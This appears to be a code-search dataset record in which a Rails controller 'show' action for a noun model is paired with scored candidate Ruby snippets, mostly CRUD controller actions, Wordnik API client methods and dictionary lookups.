[ { "docid": "af3d897041efe854cfb5f71364d9c2da", "score": "0.7748342", "text": "def show\n @api_noun = Api::Noun.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @api_noun }\n end\n end", "title": "" } ]
[ { "docid": "61586b66610502b764a155808444eee7", "score": "0.7282201", "text": "def new\n @api_noun = Api::Noun.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @api_noun }\n end\n end", "title": "" }, { "docid": "6c6ca223e34a2776853dc443fac7832a", "score": "0.726689", "text": "def index\n @nouns = Noun.all\n end", "title": "" }, { "docid": "5f46f1e6c2bf733429abd7f4302b8c74", "score": "0.7024425", "text": "def create\n @api_noun = Api::Noun.new(params[:api_noun])\n\n respond_to do |format|\n if @api_noun.save\n format.html { redirect_to @api_noun, notice: 'Noun was successfully created.' }\n format.json { render json: @api_noun, status: :created, location: @api_noun }\n else\n format.html { render action: \"new\" }\n format.json { render json: @api_noun.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e5e067bf8a49014e2b9eb2aad14f526f", "score": "0.6816529", "text": "def set_noun\n @noun = Noun.find(params[:id])\n end", "title": "" }, { "docid": "2370cdd4cd35ccf48624514d0ff6a437", "score": "0.6761761", "text": "def destroy\n @api_noun = Api::Noun.find(params[:id])\n @api_noun.destroy\n\n respond_to do |format|\n format.html { redirect_to api_nouns_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "a6f4ebd770a1311904ac162786cb5950", "score": "0.66572785", "text": "def show\n @noun = Noun.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @noun }\n end\n end", "title": "" }, { "docid": "ab322aa933eae0601b25be0a57f54252", "score": "0.6618985", "text": "def create\n @noun = Noun.new(noun_params)\n\n respond_to do |format|\n if @noun.save\n format.html { redirect_to @noun, notice: 'Noun was successfully created.' }\n format.json { render :show, status: :created, location: @noun }\n else\n format.html { render :new }\n format.json { render json: @noun.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "843395066fedd8711d3cfc92d4c6c903", "score": "0.63801044", "text": "def update\n @api_noun = Api::Noun.find(params[:id])\n\n respond_to do |format|\n if @api_noun.update_attributes(params[:api_noun])\n format.html { redirect_to @api_noun, notice: 'Noun was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @api_noun.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f9581cdaa0ef28996f416a081b42c093", "score": "0.63529116", "text": "def noun_params\n params.require(:noun).permit(:name)\n end", "title": "" }, { "docid": "db615cb4a17df955968df68b836f599b", "score": "0.63291603", "text": "def load_nouns(required)\n load_from(\"store:nouns\", get_noun_words_count, required)\n end", "title": "" }, { "docid": "fc65b3e1b2ae3a38ee8a1d4cbd4d9c3b", "score": "0.631011", "text": "def getRandomWord\n @word = Wordnik.words.get_random_word(\n includePartOfSpeech: \"noun\",\n minLength: 5,\n maxLength: 10\n )\n if request.xhr?\n render :json => @word\n end\n end", "title": "" }, { "docid": "8a2617ffa8c1e3351737e032de2e759a", "score": "0.6201701", "text": "def update\n respond_to do |format|\n if @noun.update(noun_params)\n format.html { redirect_to @noun, notice: 'Noun was successfully updated.' }\n format.json { render :show, status: :ok, location: @noun }\n else\n format.html { render :edit }\n format.json { render json: @noun.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "4facf0a893491efb04ffb114a9b47219", "score": "0.61718136", "text": "def destroy\n @noun.destroy\n\n respond_to do |format|\n format.html { redirect_to nouns_url }\n # format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "42258d1dd8d88d7586e2588444baccc7", "score": "0.6152258", "text": "def show\n @nlp = Nlp.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @nlp }\n end\n end", "title": "" }, { "docid": "89400c30c9490f070c97b81dd189ec84", "score": "0.61396736", "text": "def create\n @noun = Noun.new(params[:noun])\n\n respond_to do |format|\n if @noun.save\n format.html { redirect_to(@noun, :notice => 'Noun was successfully created.') }\n format.xml { render :xml => @noun, :status => :created, :location => @noun }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @noun.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "581476e9317c542bc68ff907195e16d2", "score": "0.6095532", "text": "def noun; end", "title": "" }, { "docid": "581476e9317c542bc68ff907195e16d2", "score": "0.6095532", "text": "def noun; end", "title": "" }, { "docid": "61ef8a3b2216442126d4818dd2d446c6", "score": "0.60954267", "text": "def new\n @noun = Noun.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @noun }\n end\n end", "title": "" }, { "docid": "0eeb197984c94d7d49032a49a34f9417", "score": "0.60275555", "text": "def destroy\n @noun.destroy\n respond_to do |format|\n format.html { redirect_to nouns_url, notice: 'Noun was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "fee4612054eca12a3794eb57721e8768", "score": "0.59636", "text": "def show\n @sentence = Sentence.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @sentence }\n end\n end", "title": "" }, { "docid": "ff539c2c8deaeb8e31b379f7b4979382", "score": "0.5948018", "text": "def get_nouns_from_parser_response(s)\n nouns = []\n noun = \"\"\n s.each_line do |line|\n (word, pos) = line.split\n next if word =~ /\\|/\n if pos =~ /NN/\n if noun == \"\"\n noun = word\n else\n noun += \" \" + word\n end\n else\n nouns.push(noun) unless noun == \"\"\n noun = \"\"\n end\n end\n nouns.map! { |n| n.downcase }\n # Remove the language versions of the title found in the wiki text page\n nouns.reject { |n| n =~ /\\saf$|\\sam$|\\sar$|\\sast$|\\saz$|\\sbn$|\\sbe$|\\sbg$|\\sbs$|\\sbr$|\\sca$|\\scs$|\\scy$|\\sda$|\\sde$|\\set$|\\sel$|\\ses$|\\seo$|\\seu$|\\sfa$|\\shif$|\\sfo$|\\sfr$|\\sfy$|\\sgl$|\\sgu$|\\sko$|\\shi$|\\shr$|\\sio$|\\sid$|\\sia$|\\sis$|\\sit$|\\shy$|\\she$|\\sjv$|\\skn$|\\ska$|\\skk$|\\ssw$|\\sku$|\\sky$|\\sla$|\\slv$|\\slb$|\\slt$|\\shu$|\\smk$|\\sml$|\\smr$|\\sms$|\\smn$|\\smy$|\\sml$|\\sne$|\\snew$|\\sja$|\\sno$|\\snn$|\\snl$|\\soc$|\\spnb$|\\snds$|\\spl$|\\spt$|\\sro$|\\squ$|\\sru$|\\ssa$|\\ssco$|\\ssq$|\\ssi$|\\ssimple$|\\ssk$|\\ssl$|\\ssr$|\\ssh$|\\sfi$|\\ssv$|\\stl$|\\sta$|\\ste$|\\sth$|\\str$|\\suk$|\\sur$|\\svi$|\\swar$|\\syo$|\\sbat$|\\szh$/ }\n end", "title": "" }, { "docid": "d5592e4f6d2e3b0ccb8c6c5b5db7867e", "score": "0.5903827", "text": "def destroy\n @noun = Noun.find(params[:id])\n @noun.destroy\n\n respond_to do |format|\n format.html { redirect_to(nouns_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "d31c330bcfee606eb51743897165986c", "score": "0.59038085", "text": "def index\n @verbs = Verb.all\n\n render json: @verbs\n end", "title": "" }, { "docid": "8e8d2a8afb4957927a0116a645b97308", "score": "0.5903256", "text": "def show\n @word = Word.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @word }\n end\n end", "title": "" }, { "docid": "8e8d2a8afb4957927a0116a645b97308", "score": "0.5903256", "text": "def show\n @word = Word.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @word }\n end\n end", "title": "" }, { "docid": "8e8d2a8afb4957927a0116a645b97308", "score": "0.5903256", "text": "def show\n @word = Word.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @word }\n end\n end", "title": "" }, { "docid": "8e8d2a8afb4957927a0116a645b97308", "score": "0.5903256", "text": "def show\n @word = Word.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @word }\n end\n end", "title": "" }, { "docid": "64cbef7c464076e9515fbc61c9516c28", "score": "0.5900882", "text": "def show\n @special_word = SpecialWord.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @special_word }\n end\n end", "title": "" }, { "docid": "26dbe4fa43cb09661e9d14f004cf88b9", "score": "0.58725744", "text": "def index\n @words = Word.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @words }\n end\n end", "title": "" }, { "docid": "749e8fac685f2e858dc152f2a6a2fcfc", "score": "0.5862247", "text": "def nouns\n {\"cat\" => [\"cats\", \"cat\"], \"hero\" => [\"heroes\"]}\n end", "title": "" }, { "docid": "8510638b314c64b83c072d0333b9bd41", "score": "0.58498895", "text": "def show\n @word_note = WordNote.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @word_note }\n end\n end", "title": "" }, { "docid": "31ce24956f5b358f9ca6b5a68dcace66", "score": "0.5847907", "text": "def nouns\n\t\treturn synsets_dataset.nouns\n\tend", "title": "" }, { "docid": "9de8a61675da55b9a2ca8927e40becf3", "score": "0.5834483", "text": "def index\n @words = Word.order(:word).all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @words }\n end\n end", "title": "" }, { "docid": "078f2831d65f3052aefdcd06aa36a664", "score": "0.5804714", "text": "def show\n @word = Word.find(params[:id])\n\n #debug\n @texts = @word.texts\n ############################\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @word }\n end\n end", "title": "" }, { "docid": "7edc635dd4dc704aa166c6692d17ccf7", "score": "0.5778512", "text": "def show\n @word_list = WordList.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @word_list }\n end\n end", "title": "" }, { "docid": "b268072337140fbee2317bb8c05cb07f", "score": "0.570923", "text": "def new\n @sentence = Sentence.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @sentence }\n end\n end", "title": "" }, { "docid": "1a0f27b84e7b99a5abe00caeb810cfb1", "score": "0.5708877", "text": "def show\n @corpus = Corpus.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @corpus }\n end\n end", "title": "" }, { "docid": "2f35b86d5a6841c712fc72e9f05e332b", "score": "0.56950957", "text": "def update\n @noun = Noun.find(params[:id])\n params[:noun][:updated_by] = current_user\n\n respond_to do |format|\n if @noun.update_attributes(params[:noun])\n format.html { redirect_to nouns_path, notice: 'Noun was successfully updated.' }\n # format.json { head :no_content }\n else\n format.html { \n @nouns = Noun.paginate(page: params[:page])\n render action: :index\n }\n # format.json { render json: @noun.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "5efb26f52d6b30ba3e3b5cefe89778cf", "score": "0.5694022", "text": "def show\n @word_count = WordCount.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @word_count }\n end\n end", "title": "" }, { "docid": "a7d70ad1586289495afebf471cdf612d", "score": "0.56854707", "text": "def show\n @word_index = WordIndex.where(:word => params[:id]).first\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @word_index }\n end\n end", "title": "" }, { "docid": "380a713e8490ce81d40763857453fc01", "score": "0.5678474", "text": "def show\n @song = Song.find(params[:id])\n\n respond_to do |format|\n format.json { render json: @song }\n end\n end", "title": "" }, { "docid": "9364b5957412fc3d57b0540112823028", "score": "0.5674207", "text": "def noun_phrases\n _noun_phrases\n end", "title": "" }, { "docid": "9364b5957412fc3d57b0540112823028", "score": "0.5674207", "text": "def noun_phrases\n _noun_phrases\n end", "title": "" }, { "docid": "c4d9520d680b3441c500f570eaee892d", "score": "0.5657172", "text": "def show\n set_glossary_locale(params[:locale]) if params[:locale]\n\n respond_to do |format|\n format.html {\n redirect_to glossary_terms_path(params[:id])\n }\n format.json {\n @glossary = Glossary.find(params[:id]).prepare_for_display\n render json: @glossary\n }\n end\n end", "title": "" }, { "docid": "1c00b1f8ed55042cf6b529d329e4cd8f", "score": "0.56521654", "text": "def index\n @bounties = Bounty.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @bounties }\n end\n end", "title": "" }, { "docid": "0fa3f89bd06127b3509883b96c7c1af5", "score": "0.5647167", "text": "def new\n @word = Word.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @word }\n end\n end", "title": "" }, { "docid": "0fa3f89bd06127b3509883b96c7c1af5", "score": "0.5647167", "text": "def new\n @word = Word.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @word }\n end\n end", "title": "" }, { "docid": "0fa3f89bd06127b3509883b96c7c1af5", "score": "0.5647167", "text": "def new\n @word = Word.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @word }\n end\n end", "title": "" }, { "docid": "0fa3f89bd06127b3509883b96c7c1af5", "score": "0.5647167", "text": "def new\n @word = Word.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @word }\n end\n end", "title": "" }, { "docid": "0fa3f89bd06127b3509883b96c7c1af5", "score": "0.5647167", "text": "def new\n @word = Word.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @word }\n end\n end", "title": "" }, { "docid": "020d4c4b5e3ded60513199d434f6e50a", "score": "0.56358194", "text": "def get_pronunciation(word, pronId, *args)\n http_method = :get\n path = '/word/{word}/pronunciation/{pronId}'\n path.sub!('{word}', word.to_s)\n path.sub!('{pronId}', pronId.to_s)\n\n # Ruby turns all key-value arguments at the end into a single hash\n # e.g. Wordnik.word.get_examples('dingo', :limit => 10, :part_of_speech => 'verb')\n # becomes {:limit => 10, :part_of_speech => 'verb'}\n last_arg = args.pop if args.last.is_a?(Hash)\n last_arg = args.pop if args.last.is_a?(Array)\n last_arg ||= {}\n\n # Look for a kwarg called :request_only, whose presence indicates\n # that we want the request itself back, not the response body\n if last_arg.is_a?(Hash) && last_arg[:request_only].present?\n request_only = true\n last_arg.delete(:request_only)\n end\n\n params = last_arg\n body ||= {}\n request = Wordnik::Request.new(http_method, path, :params => params, :body => body)\n request_only ? request : request.response.body\n end", "title": "" }, { "docid": "1704a29c7a80fedce8dc384dc485bd7a", "score": "0.563167", "text": "def get_text_pronunciations(word, *args)\n http_method = :get\n path = '/word/{word}/pronunciations'\n path.sub!('{word}', word.to_s)\n\n # Ruby turns all key-value arguments at the end into a single hash\n # e.g. Wordnik.word.get_examples('dingo', :limit => 10, :part_of_speech => 'verb')\n # becomes {:limit => 10, :part_of_speech => 'verb'}\n last_arg = args.pop if args.last.is_a?(Hash)\n last_arg = args.pop if args.last.is_a?(Array)\n last_arg ||= {}\n\n # Look for a kwarg called :request_only, whose presence indicates\n # that we want the request itself back, not the response body\n if last_arg.is_a?(Hash) && last_arg[:request_only].present?\n request_only = true\n last_arg.delete(:request_only)\n end\n\n params = last_arg\n body ||= {}\n request = Wordnik::Request.new(http_method, path, :params => params, :body => body)\n request_only ? request : request.response.body\n end", "title": "" }, { "docid": "c75e60ac37a37e941a4cb141a6958622", "score": "0.56306034", "text": "def biography artist\n url = \"http://developer.echonest.com/api/v4/artist/biographies?api_key=#{ECHONEST_API_KEY}&name=#{artist}&format=json\"\nend", "title": "" }, { "docid": "b2b1aa97413bf154230841a75626402f", "score": "0.5616522", "text": "def english_word(attempt)\n url = \"https://wagon-dictionary.herokuapp.com/#{attempt}\"\n # Jason \"https://wagon-dictionary.herokuapp.com/#{attempt}\"\n raw_response = open(url).read\n JSON.parse(raw_response, symbolize_names: true)\n end", "title": "" }, { "docid": "dcb3ebe9bd45361ca4533e28dbac05c4", "score": "0.5615954", "text": "def show\n @irregular_verb = IrregularVerb.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @irregular_verb }\n end\n end", "title": "" }, { "docid": "a87918438372115e968d82541701a3b0", "score": "0.56131846", "text": "def index\n respond_to do |format|\n format.json { render :json => Phrase.all }\n end\n end", "title": "" }, { "docid": "416fb61b2010c1b411a14a59f90f5dfc", "score": "0.5587477", "text": "def new\n @meaning = Meaning.new\n\t @word = Word.find(params[:word_id])\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @meaning }\n end\n end", "title": "" }, { "docid": "5e4536a9ec79c62f338585b6c031c402", "score": "0.5581992", "text": "def new\n @glossary = Glossary.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @glossary }\n end\n end", "title": "" }, { "docid": "62ea57dc89d0792a2df6c825d357e5e3", "score": "0.5580907", "text": "def index\n @talk_suggestions = TalkSuggestion.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @talk_suggestions }\n end\n end", "title": "" }, { "docid": "b56b7e580dee2627dc268da48e04c00e", "score": "0.5570635", "text": "def new\n @special_word = SpecialWord.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @special_word }\n end\n end", "title": "" }, { "docid": "532e834ead39a8f92e59e21137f7bd15", "score": "0.5546308", "text": "def show\n @mood = Mood.find(params[:id])\n respond_to do |format|\n format.any { render :json => @mood }\n end\n end", "title": "" }, { "docid": "92b8d2aa2c81ba624c481e21f3972f25", "score": "0.55451924", "text": "def show\n @title = Title.find(params[:id])\n\n render json: @title\n end", "title": "" }, { "docid": "73cd19298fa522afeb6ee7f2a90c0370", "score": "0.55411637", "text": "def terms artist\n url = URI.parse(\"http://developer.echonest.com/api/v4/artist/terms?api_key=#{ECHONEST_API_KEY}&name=#{artist}&format=json\")\nend", "title": "" }, { "docid": "8d22a475d7494e00394dcc7b24723214", "score": "0.55392045", "text": "def index\n @fiction = Fiction.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @fiction }\n end\n end", "title": "" }, { "docid": "b1d591a747dd71044b121dc194f95007", "score": "0.55307466", "text": "def show\n @nugget = Nugget.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @nugget }\n end\n end", "title": "" }, { "docid": "ccd599876a5799b78c145b15308dae4d", "score": "0.552552", "text": "def new\n @word_note = WordNote.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @word_note }\n end\n end", "title": "" }, { "docid": "45649897606e32737844f7dc84edf8ac", "score": "0.55220586", "text": "def index\n @paper_words = PaperWord.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @paper_words }\n end\n end", "title": "" }, { "docid": "e8d7c0eb984a2438fbaf7221439e3020", "score": "0.5517346", "text": "def show\n api = Apikey.find_by(api_key: params[:api_key])\n api['count'] += 1\n if api.save\n word = params[:word_id]\n\n word_id = Word.where(word_name: word)\n @definitions = Definition.where(word_id: word_id.ids)\n render json:{\n id: @definitions\n }\n else\n flash[:notice] = 'Invalid'\n redirect_to apikeys_path\n end\n end", "title": "" }, { "docid": "7b0f6d6561d30bdf190c589ee69ee105", "score": "0.5513027", "text": "def show\n @title = \"Key Word\"\n @key_word = KeyWord.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: KeyWordArticle.map_json_data(@key_word) }\n end\n end", "title": "" }, { "docid": "346606f7e8d8c4dd101b88770796f3d2", "score": "0.5511535", "text": "def response(word)\n url = 'https://api.dictionaryapi.dev/api/v2/entries/en_US/'+word\n uri = URI(url)\n response = Net::HTTP.get(uri)\n json_data = JSON.parse(response)\n end", "title": "" }, { "docid": "9fad16c0f2fcced526e5c12804c4368f", "score": "0.5507668", "text": "def index\n @songs = Song.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @songs }\n end\n end", "title": "" }, { "docid": "2e5499b884d9e3e5210d775398961679", "score": "0.5505966", "text": "def show\n @dictionary = Dictionary.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @dictionary }\n end\n end", "title": "" }, { "docid": "7611e0355eee8183ab79b0964536590b", "score": "0.5505136", "text": "def show\n @announcer = Announcer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @announcer }\n end\n end", "title": "" }, { "docid": "7dbac0b090063eb55edfcea3c1632755", "score": "0.5502799", "text": "def new\n @nlp = Nlp.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @nlp }\n end\n end", "title": "" }, { "docid": "26de2bf6e807a8b3464fed3ff18d99be", "score": "0.5497823", "text": "def pluralized_noun(number, noun)\n \"#{number} #{noun.pluralize(number)}\"\n end", "title": "" }, { "docid": "f1d3b85a89dd626a9c876c2dfa6d7c95", "score": "0.5492504", "text": "def update\n @noun = Noun.find(params[:id])\n\n respond_to do |format|\n if @noun.update_attributes(params[:noun])\n format.html { redirect_to(@noun, :notice => 'Noun was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @noun.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "87ae4fb9e9db519c745cb6829cf654fb", "score": "0.54855007", "text": "def api\n url = \"https://wagon-dictionary.herokuapp.com/#{@answer}\"\n response = URI.open(url).read\n json = JSON.parse(response)\n return json['found']\n end", "title": "" }, { "docid": "30aaaa90525fc3bf3e150a3ad91e2683", "score": "0.5479407", "text": "def noun_count\n 20\nend", "title": "" }, { "docid": "8d2fe4e5f3910659828909263d2a4a1f", "score": "0.54763186", "text": "def index\n @natulangs = Natulang.all\n\n @text = History.last.content\n\n @msg = Moji.type(\"漢\")\n \n nlp = NLP.new()\n \n #@msg = nlp.cut_morph(@text)\n \n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @natulangs }\n end\n end", "title": "" }, { "docid": "d931d06cbf6b5d493ae4abe660a8148b", "score": "0.5474417", "text": "def show\n @spanish_vocab = SpanishVocab.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @spanish_vocab }\n end\n end", "title": "" }, { "docid": "582339baf2d16311836d10f400357e14", "score": "0.54697347", "text": "def index\n @songs = Song.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @songs }\n end\n end", "title": "" }, { "docid": "3ad6a5770f00879ce356dcc78673513d", "score": "0.54688764", "text": "def index\n @lophs = Loph.all\n respond_to do |format|\n format.html\n format.json { render json: @lophs}\n end\n end", "title": "" }, { "docid": "af27a56890f488da050a61bfcc8825fe", "score": "0.54679084", "text": "def index\n @verbs = Verb.active.to_a \n @lines = @lines.where(:verb_id => params[:verb_id]) unless params[:verb_id].nil? \n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @lines }\n end\n end", "title": "" }, { "docid": "bdd45de4f0c21bf5c8e3c8afa48f1af1", "score": "0.54656124", "text": "def show\n @ninja = Ninja.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @ninja }\n end\n end", "title": "" }, { "docid": "4ee9a0ee34b50bedc84e16bcd8a364a2", "score": "0.54555607", "text": "def show\n @song = Song.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @song }\n end\n end", "title": "" }, { "docid": "4ee9a0ee34b50bedc84e16bcd8a364a2", "score": "0.54555607", "text": "def show\n @song = Song.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @song }\n end\n end", "title": "" }, { "docid": "4ee9a0ee34b50bedc84e16bcd8a364a2", "score": "0.54555607", "text": "def show\n @song = Song.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @song }\n end\n end", "title": "" }, { "docid": "4ee9a0ee34b50bedc84e16bcd8a364a2", "score": "0.54555607", "text": "def show\n @song = Song.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @song }\n end\n end", "title": "" }, { "docid": "6261932c56fc4c98b578c498dac76826", "score": "0.54446894", "text": "def terms\n @api_v1_pages = Api::V1::Page.where('title = \"terms\"').first\n\n render json: @api_v1_pages\n end", "title": "" }, { "docid": "e14b12e0d624a0f3ab9157f0f6996679", "score": "0.5441345", "text": "def index\n @talks = Talk.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @talks }\n end\n end", "title": "" }, { "docid": "24ecff26b90592e1e63615502f4c6d88", "score": "0.5426173", "text": "def index\n @announcaments = Announcament.all\n end", "title": "" }, { "docid": "016e434978a5f002591a597ac320ef8a", "score": "0.5418133", "text": "def new\n @title = \"Nuova Key Word\"\n @key_word = KeyWord.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @key_word }\n end\n end", "title": "" }, { "docid": "1d7eddcaac99841aba52dfadd5c054fe", "score": "0.54171205", "text": "def show\n @love = Love.find(params[:id])\n render json: @love\n end", "title": "" }, { "docid": "bf1983345fae19f8cc72aee2a76ab36e", "score": "0.5410484", "text": "def show\n @paper_word = PaperWord.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @paper_word }\n end\n end", "title": "" }, { "docid": "bc695b2867e8dc55b061549460fbbe44", "score": "0.5406982", "text": "def show\n @song = Song.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @song }\n end\n end", "title": "" }, { "docid": "e7c24609b38610a2ba05e7749af28a0d", "score": "0.5406754", "text": "def index\n @notes = Note.all\n render json: @notes\n end", "title": "" }, { "docid": "698a0861a7a3357ce797d87d1125e38c", "score": "0.5405476", "text": "def show\n @song = Song.find(:id)\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @song }\n end\n end", "title": "" }, { "docid": "d8b8f02f3b139a7fdef8205297aae2e8", "score": "0.53999877", "text": "def index\n\t\trespond_with( {:error => 'You must provide a word.' }, :status => 422 ) # http 422 is unprocessible entity / malformed request\n\tend", "title": "" }, { "docid": "f08fae841f3c7e48c20f679018265c9f", "score": "0.53990096", "text": "def index\n @heroes = Hero.all\n\n render json: @heroes\n end", "title": "" }, { "docid": "69927adf14f602f3b61da9d96b6d84aa", "score": "0.53891015", "text": "def index\n \n @songs = Song.order 'id'\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @songs }\n end\n end", "title": "" } ]
799d3f9a337d9f95a986e2b808a5653b
Make menu options more modular with this reused function
[ { "docid": "e47ae9799167312d9f7442e85231ea9f", "score": "0.0", "text": "def make_call(action, endpoint, job)\n response = HTTParty.post(\n \"http://localhost:3000/#{endpoint}\",\n :body => {\n \"#{action}\" => \"#{job}\",\n \"client\" => \"client_cert.pem\",\n }\n )\n puts response\n menu\n end", "title": "" } ]
[ { "docid": "c44e92f70ee80f7128582bad5dc93b24", "score": "0.71998256", "text": "def getMenu(menu)\n menu.add_item(\"Done\") {self.done}\n menu.add_item(\"Edit Camera...\") {self.edit}\n menu.add_item(\"Reset Tilt\") {self.reset_tilt}\nend", "title": "" }, { "docid": "779ea312c2af306f8c65f19627af098c", "score": "0.71333706", "text": "def main_menu\n h = {\n a: :ag,\n z: :z_interface,\n # f: :file_actions,\n b: :bookmark_menu,\n c: :create_menu,\n f: :filter_menu,\n o: :order_menu,\n s: :selection_menu,\n t: :toggle_menu,\n v: :view_menu,\n '`' => :goto_parent_dir,\n x: :extras\n }\n menu 'Main Menu', h\nend", "title": "" }, { "docid": "92b1f591bed0269acc70065479cf9f88", "score": "0.7090942", "text": "def manage_menu_options(options)\n class_menu = (options['menu']||[]).join(' ')\n\n tmp_style_menu = []\n style = (options['menu[option]']||{})\n case style[\"menugradient\"].presence\n when \"linear_top\"\n tmp_style_menu << \"background: linear-gradient( to top, #{style[\"menugradientcolorfrom\"].presence||\"#000\"}, #{style[\"menugradientcolorto\"].presence||\"#FFF\"})\"\n when \"linear_right\"\n tmp_style_menu << \"background: linear-gradient( to right, #{style[\"menugradientcolorfrom\"].presence||\"#000\"}, #{style[\"menugradientcolorto\"].presence||\"#FFF\"})\"\n when \"linear_top_right\"\n tmp_style_menu << \"background: linear-gradient( to top right, #{style[\"menugradientcolorfrom\"].presence||\"#000\"}, #{style[\"menugradientcolorto\"].presence||\"#FFF\"})\"\n when \"radial_ellipse\"\n tmp_style_menu << \"background: radial-gradient( ellipse at top left, #{style[\"menugradientcolorfrom\"].presence||\"#000\"}, #{style[\"menugradientcolorto\"].presence||\"#FFF\"})\"\n when \"radial_closest\"\n tmp_style_menu << \"background: radial-gradient( closest-corner at center, #{style[\"menugradientcolorfrom\"].presence||\"#000\"}, #{style[\"menugradientcolorto\"].presence||\"#FFF\"})\"\n when \"opacity\"\n tmp_style_menu << \"background-color: #{color_hex_to_rgba(style[\"menugradientcolorfrom\"].presence||\"#000\",0.85)}\" \n when \"color\"\n tmp_style_menu << \"background-color: #{style[\"menugradientcolorfrom\"].presence||\"#000\"}\"\n end\n \n tmp_style_menu << \"border-width: #{style[\"menubordersize\"].presence}px\" if style[\"menubordersize\"].present? \n tmp_style_menu << \"border-color: #{style[\"menubordercolor\"].presence}\" if style[\"menubordercolor\"].present? \n \n style_menu = tmp_style_menu.join(';')\n \n return class_menu, style_menu\n end", "title": "" }, { "docid": "4ef1948cdba81bd113345e70d33d25b2", "score": "0.70793176", "text": "def menu # can do custom methods within a method/class\n end", "title": "" }, { "docid": "9f3589337957424feca52f0ac079c4c9", "score": "0.70766985", "text": "def selection_menu\n h = {\n a: :select_all,\n u: :unselect_all,\n s: :toggle_select,\n '*' => 'toggle_multiple_selection',\n 'x' => 'toggle_visual_mode',\n 'm' => 'toggle_selection_mode',\n v: :view_selected_files\n }\n menu 'Selection Menu', h\nend", "title": "" }, { "docid": "7bc2ba58af05dd5553f060fe69bdc913", "score": "0.697286", "text": "def customizeMenu\n menu[:proteins] = [\"Tofurkey\", \"Hummus\"]\n menu[:veggies] = [:ginger_carrots , :potatoes, :yams]\n menu[:desserts] = { :pies => [:pumkin_pie],\n :other => [\"Chocolate Moose\"],\n :molds => [:cranberry, :mango, :cherry] }\n end", "title": "" }, { 